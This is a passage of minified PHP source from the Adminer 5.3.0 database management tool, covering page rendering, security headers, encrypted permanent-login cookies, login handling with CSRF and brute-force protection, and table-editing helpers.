unconvert_field(array$m,$J){if(preg_match("~binary~",$m["type"]))$J="UNHEX($J)";if($m["type"]=="bit")$J="CONVERT(b$J, UNSIGNED)";if(preg_match("~geometry|point|linestring|polygon~",$m["type"])){$Og=(min_version(8)?"ST_":"");$J=$Og."GeomFromText($J, $Og"."SRID($m[field]))";}return$J;}function
support($Vc){return
preg_match('~^(comment|columns|copy|database|drop_col|dump|indexes|kill|privileges|move_col|procedure|processlist|routine|sql|status|table|trigger|variables|view'.(min_version(5.1)?'|event':'').(min_version(8)?'|descidx':'').(min_version('8.0.16','10.2.1')?'|check':'').')$~',$Vc);}function
kill_process($X){return
queries("KILL ".number($X));}function
connection_id(){return"SELECT CONNECTION_ID()";}function
max_connections(){return
get_val("SELECT @@max_connections");}function
types(){return
array();}function
type_values($t){return"";}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($Bh,$g=null){return
true;}}define('Adminer\JUSH',Driver::$jush);define('Adminer\SERVER',$_GET[DRIVER]);define('Adminer\DB',$_GET["db"]);define('Adminer\ME',preg_replace('~\?.*~','',relative_uri()).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').($_GET["ext"]?"ext=".urlencode($_GET["ext"]).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));function
page_header($Ni,$l="",$Ma=array(),$Oi=""){page_headers();if(is_ajax()&&$l){page_messages($l);exit;}if(!ob_get_level())ob_start('ob_gzhandler',4096);$Pi=$Ni.($Oi!=""?": $Oi":"");$Qi=strip_tags($Pi.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".adminer()->name());echo'<!DOCTYPE html>
<html lang="en" dir="ltr">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>',$Qi,'</title>
<link rel="stylesheet" href="',h(preg_replace("~\\?.*~","",ME)."?file=default.css&version=5.3.0"),'">
';$Hb=adminer()->css();if(is_int(key($Hb)))$Hb=array_fill_keys($Hb,'light');$Ed=in_array('light',$Hb)||in_array('',$Hb);$Cd=in_array('dark',$Hb)||in_array('',$Hb);$Kb=($Ed?($Cd?null:false):($Cd?:null));$gf=" media='(prefers-color-scheme: dark)'";if($Kb!==false)echo"<link rel='stylesheet'".($Kb?"":$gf)." href='".h(preg_replace("~\\?.*~","",ME)."?file=dark.css&version=5.3.0")."'>\n";echo"<meta name='color-scheme' content='".($Kb===null?"light dark":($Kb?"dark":"light"))."'>\n",script_src(preg_replace("~\\?.*~","",ME)."?file=functions.js&version=5.3.0");if(adminer()->head($Kb))echo"<link rel='icon' href='data:image/gif;base64,R0lGODlhEAAQAJEAAAQCBPz+/PwCBAROZCH5BAEAAAAALAAAAAAQABAAAAI2hI+pGO1rmghihiUdvUBnZ3XBQA7f05mOak1RWXrNq5nQWHMKvuoJ37BhVEEfYxQzHjWQ5qIAADs='>\n","<link rel='apple-touch-icon' href='".h(preg_replace("~\\?.*~","",ME)."?file=logo.png&version=5.3.0")."'>\n";foreach($Hb
as$tj=>$qf){$ya=($qf=='dark'&&!$Kb?$gf:($qf=='light'&&$Cd?" media='(prefers-color-scheme: light)'":""));echo"<link rel='stylesheet'$ya href='".h($tj)."'>\n";}echo"\n<body class='".'ltr'." nojs";adminer()->bodyClass();echo"'>\n";$o=get_temp_dir()."/adminer.version";if(!$_COOKIE["adminer_version"]&&function_exists('openssl_verify')&&file_exists($o)&&filemtime($o)+86400>time()){$Ej=unserialize(file_get_contents($o));$Yg="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwqWOVuF5uw7/+Z70djoK
RlHIZFZPO0uYRezq90+7Amk+FDNd7KkL5eDve+vHRJBLAszF/7XKXe11xwliIsFs
DFWQlsABVZB3oisKCBEuI71J4kPH8dKGEWR9jDHFw3cWmoH3PmqImX6FISWbG3B8
h7FIx3jEaw5ckVPVTeo5JRm/1DZzJxjyDenXvBQ/6o9DgZKeNDgxwKzH+sw9/YCO
jHnq1cFpOIISzARlrHMa/43YfeNRAm/tsBXjSxembBPo7aQZLAWHmaj5+K19H10B
nCpz9Y++cipkVEiKRGih4ZEvjoFysEOdRLj6WiD/uUNky4xGeA6LaJqh5XpkFkcQ
fQIDAQAB
-----END PUBLIC KEY-----
";if(openssl_verify($Ej["version"],base64_decode($Ej["signature"]),$Yg)==1)$_COOKIE["adminer_version"]=$Ej["version"];}echo
script("mixin(document.body, {onkeydown: bodyKeydown, onclick: bodyClick".(isset($_COOKIE["adminer_version"])?"":", onload: partial(verifyVersion, '".VERSION."', '".js_escape(ME)."', '".get_token()."')")."});
document.body.classList.replace('nojs', 'js');
const offlineMessage = '".js_escape('You are offline.')."';
const thousandsSeparator = '".js_escape(',')."';"),"<div id='help' class='jush-".JUSH." jsonly hidden'></div>\n",script("mixin(qs('#help'), {onmouseover: () => { helpOpen = 1; }, onmouseout: helpMouseout});"),"<div id='content'>\n","<span id='menuopen' class='jsonly'>".icon("move","","menu","")."</span>".script("qs('#menuopen').onclick = event => { qs('#foot').classList.toggle('foot'); event.stopPropagation(); }");if($Ma!==null){$_=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($_?:".").'">'.get_driver(DRIVER).'</a> Ã‚Â» ';$_=substr(preg_replace('~\b(db|ns)=[^&]*&~','',ME),0,-1);$N=adminer()->serverName(SERVER);$N=($N!=""?$N:'Server');if($Ma===false)echo"$N\n";else{echo"<a href='".h($_)."' accesskey='1' title='Alt+Shift+1'>$N</a> Ã‚Â» ";if($_GET["ns"]!=""||(DB!=""&&is_array($Ma)))echo'<a href="'.h($_."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> Ã‚Â» ';if(is_array($Ma)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> Ã‚Â» ';foreach($Ma
as$x=>$X){$Yb=(is_array($X)?$X[1]:h($X));if($Yb!="")echo"<a href='".h(ME."$x=").urlencode(is_array($X)?$X[0]:$X)."'>$Yb</a> Ã‚Â» ";}}echo"$Ni\n";}}echo"<h2>$Pi</h2>\n","<div id='ajaxstatus' class='jsonly hidden'></div>\n";restart_session();page_messages($l);$i=&get_session("dbs");if(DB!=""&&$i&&!in_array(DB,$i,true))$i=null;stop_session();define('Adminer\PAGE_HEADER',1);}function
page_headers(){header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");header("X-Frame-Options: deny");header("X-XSS-Protection: 0");header("X-Content-Type-Options: nosniff");header("Referrer-Policy: origin-when-cross-origin");foreach(adminer()->csp(csp())as$Gb){$Gd=array();foreach($Gb
as$x=>$X)$Gd[]="$x $X";header("Content-Security-Policy: ".implode("; ",$Gd));}adminer()->headers();}function
csp(){return
array(array("script-src"=>"'self' 'unsafe-inline' 'nonce-".get_nonce()."' 'strict-dynamic'","connect-src"=>"'self'","frame-src"=>"https://www.adminer.org","object-src"=>"'none'","base-uri"=>"'none'","form-action"=>"'self'",),);}function
get_nonce(){static$Bf;if(!$Bf)$Bf=base64_encode(rand_string());return$Bf;}function
page_messages($l){$sj=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$mf=idx($_SESSION["messages"],$sj);if($mf){echo"<div class='message'>".implode("</div>\n<div class='message'>",$mf)."</div>".script("messagesPrint();");unset($_SESSION["messages"][$sj]);}if($l)echo"<div class='error'>$l</div>\n";if(adminer()->error)echo"<div class='error'>".adminer()->error."</div>\n";}function
page_footer($pf=""){echo"</div>\n\n<div id='foot' class='foot'>\n<div id='menu'>\n";adminer()->navigation($pf);echo"</div>\n";if($pf!="auth")echo'<form action="" method="post">
<p class="logout">
<span>',h($_GET["username"])."\n",'</span>
<input type="submit" name="logout" value="Logout" id="logout">
',input_token(),'</form>
';echo"</div>\n\n",script("setupSubmitHighlight(document);");}function
int32($uf){while($uf>=2147483648)$uf-=4294967296;while($uf<=-2147483649)$uf+=4294967296;return(int)$uf;}function
long2str(array$W,$Ij){$_h='';foreach($W
as$X)$_h
.=pack('V',$X);if($Ij)return
substr($_h,0,end($W));return$_h;}function
str2long($_h,$Ij){$W=array_values(unpack('V*',str_pad($_h,4*ceil(strlen($_h)/4),"\0")));if($Ij)$W[]=strlen($_h);return$W;}function
xxtea_mx($Pj,$Oj,$qi,$_e){return
int32((($Pj>>5&0x7FFFFFF)^$Oj<<2)+(($Oj>>3&0x1FFFFFFF)^$Pj<<4))^int32(($qi^$Oj)+($_e^$Pj));}function
encrypt_string($li,$x){if($li=="")return"";$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($li,true);$uf=count($W)-1;$Pj=$W[$uf];$Oj=$W[0];$Zg=floor(6+52/($uf+1));$qi=0;while($Zg-->0){$qi=int32($qi+0x9E3779B9);$pc=$qi>>2&3;for($og=0;$og<$uf;$og++){$Oj=$W[$og+1];$tf=xxtea_mx($Pj,$Oj,$qi,$x[$og&3^$pc]);$Pj=int32($W[$og]+$tf);$W[$og]=$Pj;}$Oj=$W[0];$tf=xxtea_mx($Pj,$Oj,$qi,$x[$og&3^$pc]);$Pj=int32($W[$uf]+$tf);$W[$uf]=$Pj;}return
long2str($W,false);}function
decrypt_string($li,$x){if($li=="")return"";if(!$x)return
false;$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($li,false);$uf=count($W)-1;$Pj=$W[$uf];$Oj=$W[0];$Zg=floor(6+52/($uf+1));$qi=int32($Zg*0x9E3779B9);while($qi){$pc=$qi>>2&3;for($og=$uf;$og>0;$og--){$Pj=$W[$og-1];$tf=xxtea_mx($Pj,$Oj,$qi,$x[$og&3^$pc]);$Oj=int32($W[$og]-$tf);$W[$og]=$Oj;}$Pj=$W[$uf];$tf=xxtea_mx($Pj,$Oj,$qi,$x[$og&3^$pc]);$Oj=int32($W[0]-$tf);$W[0]=$Oj;$qi=int32($qi-0x9E3779B9);}return
long2str($W,true);}$Eg=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($x)=explode(":",$X);$Eg[$x]=$X;}}function
add_invalid_login(){$Fa=get_temp_dir()."/adminer.invalid";foreach(glob("$Fa*")?:array($Fa)as$o){$q=file_open_lock($o);if($q)break;}if(!$q)$q=file_open_lock("$Fa-".rand_string());if(!$q)return;$re=unserialize(stream_get_contents($q));$Ki=time();if($re){foreach($re
as$se=>$X){if($X[0]<$Ki)unset($re[$se]);}}$qe=&$re[adminer()->bruteForceKey()];if(!$qe)$qe=array($Ki+30*60,0);$qe[1]++;file_write_unlock($q,serialize($re));}function
check_invalid_login(array&$Eg){$re=array();foreach(glob(get_temp_dir()."/adminer.invalid*")as$o){$q=file_open_lock($o);if($q){$re=unserialize(stream_get_contents($q));file_unlock($q);break;}}$qe=idx($re,adminer()->bruteForceKey(),array());$Af=($qe[1]>29?$qe[0]-time():0);if($Af>0)auth_error(lang_format(array('Too many unsuccessful logins, try again in %d minute.','Too many unsuccessful logins, try again in %d minutes.'),ceil($Af/60)),$Eg);}$za=$_POST["auth"];if($za){session_regenerate_id();$Dj=$za["driver"];$N=$za["server"];$V=$za["username"];$F=(string)$za["password"];$j=$za["db"];set_password($Dj,$N,$V,$F);$_SESSION["db"][$Dj][$N][$V][$j]=true;if($za["permanent"]){$x=implode("-",array_map('base64_encode',array($Dj,$N,$V,$j)));$Tg=adminer()->permanentLogin(true);$Eg[$x]="$x:".base64_encode($Tg?encrypt_string($F,$Tg):"");cookie("adminer_permanent",implode(" ",$Eg));}if(count($_POST)==1||DRIVER!=$Dj||SERVER!=$N||$_GET["username"]!==$V||DB!=$j)redirect(auth_url($Dj,$N,$V,$j));}elseif($_POST["logout"]&&(!$_SESSION["token"]||verify_token())){foreach(array("pwds","db","dbs","queries")as$x)set_session($x,null);unset_permanent($Eg);redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),'Logout successful.'.' '.'Thanks for using Adminer, consider <a href="https://www.adminer.org/en/donation/">donating</a>.');}elseif($Eg&&!$_SESSION["pwds"]){session_regenerate_id();$Tg=adminer()->permanentLogin();foreach($Eg
as$x=>$X){list(,$cb)=explode(":",$X);list($Dj,$N,$V,$j)=array_map('base64_decode',explode("-",$x));set_password($Dj,$N,$V,decrypt_string(base64_decode($cb),$Tg));$_SESSION["db"][$Dj][$N][$V][$j]=true;}}function
unset_permanent(array&$Eg){foreach($Eg
as$x=>$X){list($Dj,$N,$V,$j)=array_map('base64_decode',explode("-",$x));if($Dj==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$j==DB)unset($Eg[$x]);}cookie("adminer_permanent",implode(" ",$Eg));}function
auth_error($l,array&$Eg){$Sh=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 Forbidden");if(($_COOKIE[$Sh]||$_GET[$Sh])&&!$_SESSION["token"])$l='Session expired, please login again.';else{restart_session();add_invalid_login();$F=get_password();if($F!==null){if($F===false)$l
.=($l?'<br>':'').sprintf('Master password expired. <a href="https://www.adminer.org/en/extension/"%s>Implement</a> %s method to make it permanent.',target_blank(),'<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent($Eg);}}if(!$_COOKIE[$Sh]&&$_GET[$Sh]&&ini_bool("session.use_only_cookies"))$l='Session support must be enabled.';$rg=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?:rand_string()),$rg["lifetime"]);if(!$_SESSION["token"])$_SESSION["token"]=rand(1,1e6);page_header('Login',$l,null);echo"<form action='' method='post'>\n","<div>";if(hidden_fields($_POST,array("auth")))echo"<p class='message'>".'The action will be performed after successful login with the same credentials.'."\n";echo"</div>\n";adminer()->loginForm();echo"</form>\n";page_footer("auth");exit;}if(isset($_GET["username"])&&!class_exists('Adminer\Db')){unset($_SESSION["pwds"][DRIVER]);unset_permanent($Eg);page_header('No extension',sprintf('None of the supported PHP extensions (%s) are available.',implode(", ",Driver::$extensions)),false);page_footer("auth");exit;}$f='';if(isset($_GET["username"])&&is_string(get_password())){list($Md,$Ig)=explode(":",SERVER,2);if(preg_match('~^\s*([-+]?\d+)~',$Ig,$A)&&($A[1]<1024||$A[1]>65535))auth_error('Connecting to privileged ports is not allowed.',$Eg);check_invalid_login($Eg);$Fb=adminer()->credentials();$f=Driver::connect($Fb[0],$Fb[1],$Fb[2]);if(is_object($f)){Db::$instance=$f;Driver::$instance=new
Driver($f);if($f->flavor)save_settings(array("vendor-".DRIVER."-".SERVER=>get_driver(DRIVER)));}}$Se=null;if(!is_object($f)||($Se=adminer()->login($_GET["username"],get_password()))!==true){$l=(is_string($f)?nl_br(h($f)):(is_string($Se)?$Se:'Invalid credentials.')).(preg_match('~^ | $~',get_password())?'<br>'.'There is a space in the input password which might be the cause.':'');auth_error($l,$Eg);}if($_POST["logout"]&&$_SESSION["token"]&&!verify_token()){page_header('Logout','Invalid CSRF token. Send the form again.');page_footer("db");exit;}if(!$_SESSION["token"])$_SESSION["token"]=rand(1,1e6);stop_session(true);if($za&&$_POST["token"])$_POST["token"]=get_token();$l='';if($_POST){if(!verify_token()){$je="max_input_vars";$ef=ini_get($je);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$x){$X=ini_get($x);if($X&&(!$ef||$X<$ef)){$je=$x;$ef=$X;}}}$l=(!$_POST["token"]&&$ef?sprintf('Maximum number of allowed fields exceeded. Please increase %s.',"'$je'"):'Invalid CSRF token. Send the form again.'.' '.'If you did not send this request from Adminer then close this page.');}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$l=sprintf('Too big POST data. Reduce the data or increase the %s configuration directive.',"'post_max_size'");if(isset($_GET["sql"]))$l
.=' '.'You can upload a big SQL file via FTP and import it from server.';}function
print_select_result($I,$g=null,array$dg=array(),$z=0){$Qe=array();$w=array();$e=array();$Ka=array();$ij=array();$J=array();for($s=0;(!$z||$s<$z)&&($K=$I->fetch_row());$s++){if(!$s){echo"<div class='scrollable'>\n","<table class='nowrap odds'>\n","<thead><tr>";for($ye=0;$ye<count($K);$ye++){$m=$I->fetch_field();$B=$m->name;$cg=(isset($m->orgtable)?$m->orgtable:"");$bg=(isset($m->orgname)?$m->orgname:$B);if($dg&&JUSH=="sql")$Qe[$ye]=($B=="table"?"table=":($B=="possible_keys"?"indexes=":null));elseif($cg!=""){if(isset($m->table))$J[$m->table]=$cg;if(!isset($w[$cg])){$w[$cg]=array();foreach(indexes($cg,$g)as$v){if($v["type"]=="PRIMARY"){$w[$cg]=array_flip($v["columns"]);break;}}$e[$cg]=$w[$cg];}if(isset($e[$cg][$bg])){unset($e[$cg][$bg]);$w[$cg][$bg]=$ye;$Qe[$ye]=$cg;}}if($m->charsetnr==63)$Ka[$ye]=true;$ij[$ye]=$m->type;echo"<th".($cg!=""||$m->name!=$bg?" title='".h(($cg!=""?"$cg.":"").$bg)."'":"").">".h($B).($dg?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($B),'mariadb'=>"explain/#the-columns-in-explain-select",)):"");}echo"</thead>\n";}echo"<tr>";foreach($K
as$x=>$X){$_="";if(isset($Qe[$x])&&!$e[$Qe[$x]]){if($dg&&JUSH=="sql"){$R=$K[array_search("table=",$Qe)];$_=ME.$Qe[$x].urlencode($dg[$R]!=""?$dg[$R]:$R);}else{$_=ME."edit=".urlencode($Qe[$x]);foreach($w[$Qe[$x]]as$hb=>$ye)$_
.="&where".urlencode("[".bracket_escape($hb)."]")."=".urlencode($K[$ye]);}}elseif(is_url($X))$_=$X;if($X===null)$X="<i>NULL</i>";elseif($Ka[$x]&&!is_utf8($X))$X="<i>".lang_format(array('%d byte','%d bytes'),strlen($X))."</i>";else{$X=h($X);if($ij[$x]==254)$X="<code>$X</code>";}if($_)$X="<a href='".h($_)."'".(is_url($_)?target_blank():'').">$X</a>";echo"<td".($ij[$x]<=9||$ij[$x]==246?" class='number'":"").">$X";}}echo($s?"</table>\n</div>":"<p class='message'>".'No rows.')."\n";return$J;}function
referencable_primary($Kh){$J=array();foreach(table_status('',true)as$vi=>$R){if($vi!=$Kh&&fk_support($R)){foreach(fields($vi)as$m){if($m["primary"]){if($J[$vi]){unset($J[$vi]);break;}$J[$vi]=$m;}}}}return$J;}function
textarea($B,$Y,$L=10,$kb=80){echo"<textarea name='".h($B)."' rows='$L' cols='$kb' class='sqlarea jush-".JUSH."' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y
as$X)echo
h($X[0])."\n\n\n";}else
echo
h($Y);echo"</textarea>";}function
select_input($ya,array$Xf,$Y="",$Rf="",$Fg=""){$Ci=($Xf?"select":"input");return"<$Ci$ya".($Xf?"><option value=''>$Fg".optionlist($Xf,$Y,true)."</select>":" size='10' value='".h($Y)."' placeholder='$Fg'>").($Rf?script("qsl('$Ci').onchange = $Rf;",""):"");}function
json_row($x,$X=null){static$bd=true;if($bd)echo"{";if($x!=""){echo($bd?"":",")."\n\t\"".addcslashes($x,"\r\n\t\"\\/").'": '.($X!==null?'"'.addcslashes($X,"\r\n\"\\/").'"':'null');$bd=false;}else{echo"\n}\n";$bd=true;}}function
edit_type($x,array$m,array$jb,array$ld=array(),array$Sc=array()){$U=$m["type"];echo"<td><select name='".h($x)."[type]' class='type' aria-labelledby='label-type'>";if($U&&!array_key_exists($U,driver()->types())&&!isset($ld[$U])&&!in_array($U,$Sc))$Sc[]=$U;$mi=driver()->structuredTypes();if($ld)$mi['Foreign keys']=$ld;echo
optionlist(array_merge($Sc,$mi),$U),"</select><td>","<input name='".h($x)."[length]' value='".h($m["length"])."' size='3'".(!$m["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":"")." aria-labelledby='label-length'>","<td class='options'>",($jb?"<input list='collations' name='".h($x)."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'")." value='".h($m["collation"])."' placeholder='(".'collation'.")'>":''),(driver()->unsigned?"<select name='".h($x)."[unsigned]'".(!$U||preg_match(number_type(),$U)?"":" class='hidden'").'><option>'.optionlist(driver()->unsigned,$m["unsigned"]).'</select>':''),(isset($m['on_update'])?"<select name='".h($x)."[on_update]'".(preg_match('~timestamp|datetime~',$U)?"":" class='hidden'").'>'.optionlist(array(""=>"(".'ON UPDATE'.")","CURRENT_TIMESTAMP"),(preg_match('~^CURRENT_TIMESTAMP~i',$m["on_update"])?"CURRENT_TIMESTAMP":$m["on_update"])).'</select>':''),($ld?"<select name='".h($x)."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".'ON DELETE'.")".optionlist(explode("|",driver()->onActions),$m["on_delete"])."</select> ":" ");}function
process_length($y){$Bc=driver()->enumLength;return(preg_match("~^\\s*\\(?\\s*$Bc(?:\\s*,\\s*$Bc)*+\\s*\\)?\\s*\$~",$y)&&preg_match_all("~$Bc~",$y,$Ye)?"(".implode(",",$Ye[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$y)));}function
process_type(array$m,$ib="COLLATE"){return" $m[type]".process_length($m["length"]).(preg_match(number_type(),$m["type"])&&in_array($m["unsigned"],driver()->unsigned)?" $m[unsigned]":"").(preg_match('~char|text|enum|set~',$m["type"])&&$m["collation"]?" $ib ".(JUSH=="mssql"?$m["collation"]:q($m["collation"])):"");}function
process_field(array$m,array$gj){if($m["on_update"])$m["on_update"]=str_ireplace("current_timestamp()","CURRENT_TIMESTAMP",$m["on_update"]);return
array(idf_escape(trim($m["field"])),process_type($gj),($m["null"]?" NULL":" NOT NULL"),default_value($m),(preg_match('~timestamp|datetime~',$m["type"])&&$m["on_update"]?" ON UPDATE $m[on_update]":""),(support("comment")&&$m["comment"]!=""?" COMMENT ".q($m["comment"]):""),($m["auto_increment"]?auto_increment():null),);}function
default_value(array$m){$k=$m["default"];$sd=$m["generated"];return($k===null?"":(in_array($sd,driver()->generated)?(JUSH=="mssql"?" AS ($k)".($sd=="VIRTUAL"?"":" $sd")."":" GENERATED ALWAYS AS ($k) $sd"):" DEFAULT ".(!preg_match('~^GENERATED ~i',$k)&&(preg_match('~char|binary|text|json|enum|set~',$m["type"])||preg_match('~^(?![a-z])~i',$k))?(JUSH=="sql"&&preg_match('~text|json~',$m["type"])?"(".q($k).")":q($k)):str_ireplace("current_timestamp()","CURRENT_TIMESTAMP",(JUSH=="sqlite"?"($k)":$k)))));}function
type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$x=>$X){if(preg_match("~$x|$X~",$U))return" class='$x'";}}function
edit_fields(array$n,array$jb,$U="TABLE",array$ld=array()){$n=array_values($n);$Tb=(($_POST?$_POST["defaults"]:get_setting("defaults"))?"":" class='hidden'");$pb=(($_POST?$_POST["comments"]:get_setting("comments"))?"":" class='hidden'");echo"<thead><tr>\n",($U=="PROCEDURE"?"<td>":""),"<th id='label-name'>".($U=="TABLE"?'Column name':'Parameter name'),"<td id='label-type'>".'Type'."<textarea id='enum-edit' rows='4' cols='12' wrap='off' style='display: none;'></textarea>".script("qs('#enum-edit').onblur = editingLengthBlur;"),"<td id='label-length'>".'Length',"<td>".'Options';if($U=="TABLE")echo"<td id='label-null'>NULL\n","<td><input type='radio' name='auto_increment_col' value=''><abbr id='label-ai' title='".'Auto Increment'."'>AI</abbr>",doc_link(array('sql'=>"example-auto-increment.html",'mariadb'=>"auto_increment/",'sqlite'=>"autoinc.html",'pgsql'=>"datatype-numeric.html#DATATYPE-SERIAL",'mssql'=>"t-sql/statements/create-table-transact-sql-identity-property",)),"<td id='label-default'$Tb>".'Default value',(support("comment")?"<td id='label-comment'$pb>".'Comment':"");echo"<td>".icon("plus","add[".(support("move_col")?0:count($n))."]","+",'Add next'),"</thead>\n<tbody>\n",script("mixin(qsl('tbody'), {onclick: editingClick, onkeydown: editingKeydown, oninput: editingInput});");foreach($n
as$s=>$m){$s++;$eg=$m[($_POST?"orig":"field")];$ec=(isset($_POST["add"][$s-1])||(isset($m["field"])&&!idx($_POST["drop_col"],$s)))&&(support("drop_col")||$eg=="");echo"<tr".($ec?"":" style='display: none;'").">\n",($U=="PROCEDURE"?"<td>".html_select("fields[$s][inout]",explode("|",driver()->inout),$m["inout"]):"")."<th>";if($ec)echo"<input name='fields[$s][field]' value='".h($m["field"])."' data-maxlength='64' autocapitalize='off' aria-labelledby='label-name'>";echo
input_hidden("fields[$s][orig]",$eg);edit_type("fields[$s]",$m,$jb,$ld);if($U=="TABLE")echo"<td>".checkbox("fields[$s][null]",1,$m["null"],"","","block","label-null"),"<td><label class='block'><input type='radio' name='auto_increment_col' value='$s'".($m["auto_increment"]?" checked":"")." aria-labelledby='label-ai'></label>","<td$Tb>".(driver()->generated?html_select("fields[$s][generated]",array_merge(array("","DEFAULT"),driver()->generated),$m["generated"])." ":checkbox("fields[$s][generated]",1,$m["generated"],"","","","label-default")),"<input name='fields[$s][default]' value='".h($m["default"])."' aria-labelledby='label-default'>",(support("comment")?"<td$pb><input name='fields[$s][comment]' value='".h($m["comment"])."' data-maxlength='".(min_version(5.5)?1024:255)."' aria-labelledby='label-comment'>":"");echo"<td>",(support("move_col")?icon("plus","add[$s]","+",'Add next')." ".icon("up","up[$s]","Ã¢â€ â€˜",'Move up')." ".icon("down","down[$s]","Ã¢â€ â€œ",'Move down')." ":""),($eg==""||support("drop_col")?icon("cross","drop_col[$s]","x",'Remove'):"");}}function
process_fields(array&$n){$C=0;if($_POST["up"]){$He=0;foreach($n
as$x=>$m){if(key($_POST["up"])==$x){unset($n[$x]);array_splice($n,$He,0,array($m));break;}if(isset($m["field"]))$He=$C;$C++;}}elseif($_POST["down"]){$nd=false;foreach($n
as$x=>$m){if(isset($m["field"])&&$nd){unset($n[key($_POST["down"])]);array_splice($n,$C,0,array($nd));break;}if(key($_POST["down"])==$x)$nd=$m;$C++;}}elseif($_POST["add"]){$n=array_values($n);array_splice($n,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum(array$A){$X=$A[0];return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($X[0].$X[0],$X[0],substr($X,1,-1))),'\\'))."'";}function
grant($ud,array$Vg,$e,$Of){if(!$Vg)return
true;if($Vg==array("ALL PRIVILEGES","GRANT OPTION"))return($ud=="GRANT"?queries("$ud ALL PRIVILEGES$Of WITH GRANT OPTION"):queries("$ud ALL PRIVILEGES$Of")&&queries("$ud GRANT OPTION$Of"));return
queries("$ud ".preg_replace('~(GRANT OPTION)\([^)]*\)~','\1',implode("$e, ",$Vg).$e).$Of);}function
drop_create($ic,$h,$kc,$Gi,$mc,$Re,$lf,$jf,$kf,$Lf,$yf){if($_POST["drop"])query_redirect($ic,$Re,$lf);elseif($Lf=="")query_redirect($h,$Re,$kf);elseif($Lf!=$yf){$Eb=queries($h);queries_redirect($Re,$jf,$Eb&&queries($ic));if($Eb)queries($kc);}else
queries_redirect($Re,$jf,queries($Gi)&&queries($mc)&&queries($ic)&&queries($h));}function
create_trigger($Of,array$K){$Mi=" $K[Timing] $K[Event]".(preg_match('~ OF~',$K["Event"])?" $K[Of]":"");return"CREATE TRIGGER ".idf_escape($K["Trigger"]).(JUSH=="mssql"?$Of.$Mi:$Mi.$Of).rtrim(" $K[Type]\n$K[Statement]",";").";";}function
create_routine($wh,array$K){$O=array();$n=(array)$K["fields"];ksort($n);foreach($n
as$m){if($m["field"]!="")$O[]=(preg_match("~^(".driver()->inout.")\$~",$m["inout"])?"$m[inout] ":"").idf_escape($m["field"]).process_type($m,"CHARACTER SET");}$Vb=rtrim($K["definition"],";");return"CREATE $wh ".idf_escape(trim($K["name"]))." (".implode(", ",$O).")".($wh=="FUNCTION"?" RETURNS".process_type($K["returns"],"CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").(JUSH=="pgsql"?" AS ".q($Vb):"\n$Vb;");}function
remove_definer($H){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\1)',logged_user()).'`~','\1',$H);}function
format_foreign_key(array$p){$j=$p["db"];$Cf=$p["ns"];return" FOREIGN KEY (".implode(", ",array_map('Adminer\idf_escape',$p["source"])).") REFERENCES ".($j!=""&&$j!=$_GET["db"]?idf_escape($j).".":"").($Cf!=""&&$Cf!=$_GET["ns"]?idf_escape($Cf).".":"").idf_escape($p["table"])." (".implode(", ",array_map('Adminer\idf_escape',$p["target"])).")".(preg_match("~^(".driver()->onActions.")\$~",$p["on_delete"])?" ON DELETE $p[on_delete]":"").(preg_match("~^(".driver()->onActions.")\$~",$p["on_update"])?" ON UPDATE $p[on_update]":"");}function
tar_file($o,$Ri){$J=pack("a100a8a8a8a12a12",$o,644,0,0,decoct($Ri->size),decoct(time()));$bb=8*32;for($s=0;$s<strlen($J);$s++)$bb+=ord($J[$s]);$J
.=sprintf("%06o",$bb)."\0 ";echo$J,str_repeat("\0",512-strlen($J));$Ri->send();echo
str_repeat("\0",511-($Ri->size+511)%512);}function
ini_bytes($je){$X=ini_get($je);switch(strtolower(substr($X,-1))){case'g':$X=(int)$X*1024;case'm':$X=(int)$X*1024;case'k':$X=(int)$X*1024;}return$X;}function
